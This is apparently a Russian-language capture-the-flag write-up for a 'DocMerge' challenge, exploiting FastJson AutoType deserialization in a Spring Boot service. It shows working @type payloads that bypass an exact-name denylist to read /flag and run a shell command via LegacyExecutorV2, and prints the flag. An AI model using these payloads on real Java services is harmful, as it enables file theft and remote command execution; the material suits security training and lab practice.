DocMerge
DocMerge склеивает документы по JSON-шаблону. Сервис использует Java 17, Spring Boot и FastJson 1.2.83 с включённым AutoType. Самописный фильтр ограничивает классы, которые можно создать при десериализации. Ищем разрешённый плагин, способный прочитать `/flag`.
## Решение
Запрашиваем `/api/plugins`. В реестре три интересных класса из `com.docmerge.plugins`: активные `ScriptFilter` и `LegacyExecutorV2`, а также отключённый `LegacyExecutor`.
Тело `POST /api/merge` проходит через `JSON.parseObject(body, MergeJob.class, Feature.SupportAutoType)`. Ошибки фильтра возвращаются клиенту, поэтому отправляем три запроса вида `{"@type":"<имя класса>"}` и сравниваем ответы:
| Класс | Ответ фильтра | Вывод |
|---|---|---|
| `java.lang.Runtime` | `exact denylist match` | Есть запрет по точному имени |
| `com.docmerge.plugins.NoSuchPlugin` | Пакет разрешён, класс не найден | Имя из пакета `com.docmerge.plugins` проходит фильтр |
| `java.io.File` | `outside allowlist` | Чужие пакеты отсекаются |
### Чтение через ScriptFilter
`ScriptFilter` вызывает через reflection публичный статический метод с аргументом `String`. Его список запретов закрывает `Runtime` и `ProcessBuilder`, но пропускает `com.docmerge.util.PreviewUtil.readFile(String)`.
Создаём этот фильтр внутри задания:
```bash
curl -sS http://:18112/api/merge \
-H 'Content-Type: application/json' \
--data '{
"title":"quarterly-report",
"documents":["doc one","doc two"],
"renderer":{"template":"default","filters":[
{"@type":"com.docmerge.plugins.ScriptFilter",
"className":"com.docmerge.util.PreviewUtil",
"methodName":"readFile",
"argument":"/flag"}
]}
}'
```
Класс разрешён, метод доступен. В поле `render` появляется `filter output:` с содержимым `/flag`.
### Выполнение через LegacyExecutorV2
`LegacyExecutorV2` наследует `LegacyExecutor`, но denylist сравнивает имена через `equals`. Имя наследника не совпадает с запретом, пакет при этом разрешён. Унаследованный `setCommand` выполняет shell-команду уже при десериализации:
```json
{
"title":"t",
"renderer":{"filters":[
{"@type":"com.docmerge.plugins.LegacyExecutorV2","command":"cat /flag"}
]}
}
```
Этот запрос к тому же `/api/merge` возвращает флаг как `legacy output`. Оба пути используют доступные классы приложения. Фильтр разрешает классы пакета `com.docmerge.plugins`, блокируя лишь отдельные имена. `ScriptFilter` и `LegacyExecutorV2` под эти запреты не попадают.
[Солвер](solve/solve.py) проверяет плагины и фильтр, затем пробует `ScriptFilter`, а при отсутствии флага переходит к `LegacyExecutorV2`.
## Флаг
`CAPLAG{4ut0typ3_d3s3r14l1z3_byp4ss}`